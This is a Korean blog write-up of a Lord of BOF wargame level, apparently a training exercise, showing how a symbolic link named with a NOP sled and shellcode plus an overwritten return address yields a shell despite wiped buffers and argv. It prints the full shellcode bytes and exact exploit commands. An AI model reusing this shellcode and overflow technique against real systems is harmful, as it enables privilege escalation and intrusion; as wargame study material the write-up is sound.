Profile

머리정리하는곳

c2w2m2

[Level10] vampire -> skeleton


코드를 보니 buffer와 모든 argv를 날려버립니다,,,


지금까지 했던 모든 방법이 막혀서 어떻게 해야하나 패닉에 빠졌던...


일단 분석해 봅시다 


cp skeleton noteleks


로 복사하고 분석 해봅시다...



leave 에 bp 걸고 실행시킨 다음 스택을 봅시다..



깔끔 하네요,,,



?!?!?!?!?!?!??!?!?!?!?!?!?!?!??!?!?!?!?!?!?!?!?!?!?!?!?!?!?!?!?!?!??!?!?!?!?!?


마지막에 프로그램 실행 이름이 남아있습니다. 


그렇다면....?


심볼릭 링크로 shellcode 넣고 ret를 이부분으로 돌리면 쉘이 실행될거같습니다.


이상하게 전에 쓰던 shellcode가 먹히지를 않습니다.


0xbfffffd2 가 읽을수 없습니다 뭐시기 하면서,,,,


따라서 shellcode를 바꿨습니다.



\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3


로 shellcode를 바꾸고 심볼릭 링크를 겁시다



ln -s exp `python -c 'print "\x90"*200 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`



그리고 공격을 합시다.


다만 주소는  0xbfffffe5 가 아닌 0xbfffffbd 를 사용해서 공격합니다. 그 이유는 0xbfffffe5 에는 /home/vampire 라는 절대 경로가 같이 들어있기 때문에 살짝 뒤로 밀어서 사용합시다.



./`python -c 'print "\x90"*200 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `python -c 'print "A"*44 + "\xbd\xff\xff\xbf"'`

 



noteleks 의 쉘을 얻었습니다....!  이젠 심볼릭 링크를 풀어주고 skeleton에 심볼릭 링크를 걸어 공격해 주면 풀릴것 같습니다.



클리어!

'Pwnable > LOB' 카테고리의 다른 글

[Level12] golem -> darkknight  (0) 2017.05.17
[Level11] skeleton -> golem  (0) 2017.05.17
[Level9] troll -> vampire  (0) 2017.05.17
[Level 8] orge -> troll  (0) 2017.05.17
[Level7] darkelf -> orge  (0) 2017.05.17